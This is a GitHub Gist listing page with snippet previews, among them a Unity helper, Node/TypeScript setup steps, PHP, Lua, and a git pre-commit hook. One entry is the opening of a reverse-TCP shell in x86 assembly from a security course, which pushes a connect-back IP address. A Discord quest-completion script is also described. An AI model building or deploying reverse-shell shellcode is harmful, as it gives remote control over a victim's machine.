Skip to content

Instantly share code, notes, and snippets.

@geyslan
geyslan / shell_reverse_tcp.asm
Last active May 5, 2024 03:52
Shell Reverse TCP in Assembly Language - forlife
; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/2nd.assignment/shell_reverse_tcp.asm
global _start
section .text
_start:
; host
push 0x0101017f ; IP Number "127.1.1.1" in hex reverse order
@yasirkula
yasirkula / ScrollViewFocusFunctions.cs
Created October 23, 2021 10:09
Focus/center Scroll View to the specified point/item in Unity
using System.Collections;
using UnityEngine;
using UnityEngine.UI;
public static class ScrollViewFocusFunctions
{
public static Vector2 CalculateFocusedScrollPosition( this ScrollRect scrollView, Vector2 focusPoint )
{
Vector2 contentSize = scrollView.content.rect.size;
Vector2 viewportSize = ( (RectTransform) scrollView.content.parent ).rect.size;
@Klerith
Klerith / pasos-node-typescript.md
Last active May 5, 2024 03:45
Configurar proyecto de Node con TypeScript

Pasos para usar Node con TypeScript con Nodemon

Más información - Docs Oficiales

  1. Instalar TypeScript y tipos de Node, como dependencia de desarrollo
npm i -D typescript @types/node
  1. Inicializar el archivo de configuración de TypeScript ( Se puede configurar al gusto)
@ykst
ykst / gist:6e80e3566bd6b9d63d19
Last active May 5, 2024 03:40
WebAudio+WebSocketでブラウザへの音声リアルタイムストリーミングを実装する

WebAudio+WebSocketでブラウザへの音声リアルタイムストリーミングを実装する

WebRTCでやれよ!と言われそうなところですが、 WebSocket+WebAudioの組み合わせで音声ストリーミングをシンプルに構成する方法を紹介してみます。

サーバーサイド(Node.js + ws + pcm)

サーバーサイドは何でも良いのですが、 とりあえずNode.jsでtest.mp3というサンプルファイルをpcmモジュールでデコードし、 wsでクライアントに垂れ流す作りにしておきます。

@MjHead
MjHead / options-values-in-code.php
Last active May 5, 2024 03:33
Get option values for JetEngine options pages inside the PHP code
<?php
/**
* Method 1
* Can be used for: Any storage type
*
* page-slug - replace this with your Option Page slug
* option-name - replace this with your option Name/ID
*/
$value = jet_engine()->listings->data->get_option( 'page-slug::option-name' );
@aamiaa
aamiaa / CompleteDiscordQuest.md
Last active May 5, 2024 03:30
Complete Recent Discord Quest

Complete Recent Discord Quest

Note

This no longer works in browser!

Note

This no longer works if you're alone in vc! Somebody else has to join you!

How to use this script:

  1. Accept the quest under User Settings -> Gift Inventory
@ample-samples
ample-samples / dot-product.lua
Last active May 5, 2024 03:29
Get the dot product of any MxN matrices
-- Utility functions for matrix.dot
local function dotScalar1dVector(scalar, v1)
local outputVector = {}
for i = 1, #v1, 1 do
outputVector[i] = v1[i] * scalar
end
return matrix(outputVector)
end
local function dotScalar2dVector(scalar, v1)

Using Google APIs with OAuth2 101

npmのgoogleapisパッケージを利用します。 https://github.com/googleapis/google-api-nodejs-client

const { google } = require('googleapis');

 authの利用

googleapisパッケージのauthは、いくつかの認証方法を提供してくれます。

@guilherme
guilherme / gist:9604324
Last active May 5, 2024 03:17
Git pre-commit hook that detects if the developer forget to remove all the javascript console.log before commit.
#!/bin/sh
# Redirect output to stderr.
exec 1>&2
# enable user input
exec < /dev/tty
consoleregexp='console.log'
# CHECK
if test $(git diff --cached | grep $consoleregexp | wc -l) != 0
then
@gornostal
gornostal / README.md
Last active May 5, 2024 03:16
Ulauncher Color Themes

This will be a temporary site for sharing Ulauncher color themes

When posting a theme make sure it has

  • title (theme name or whatever)
  • link to a gist or github repo with theme files
  • screenshot attached (just drag an image onto a comment area)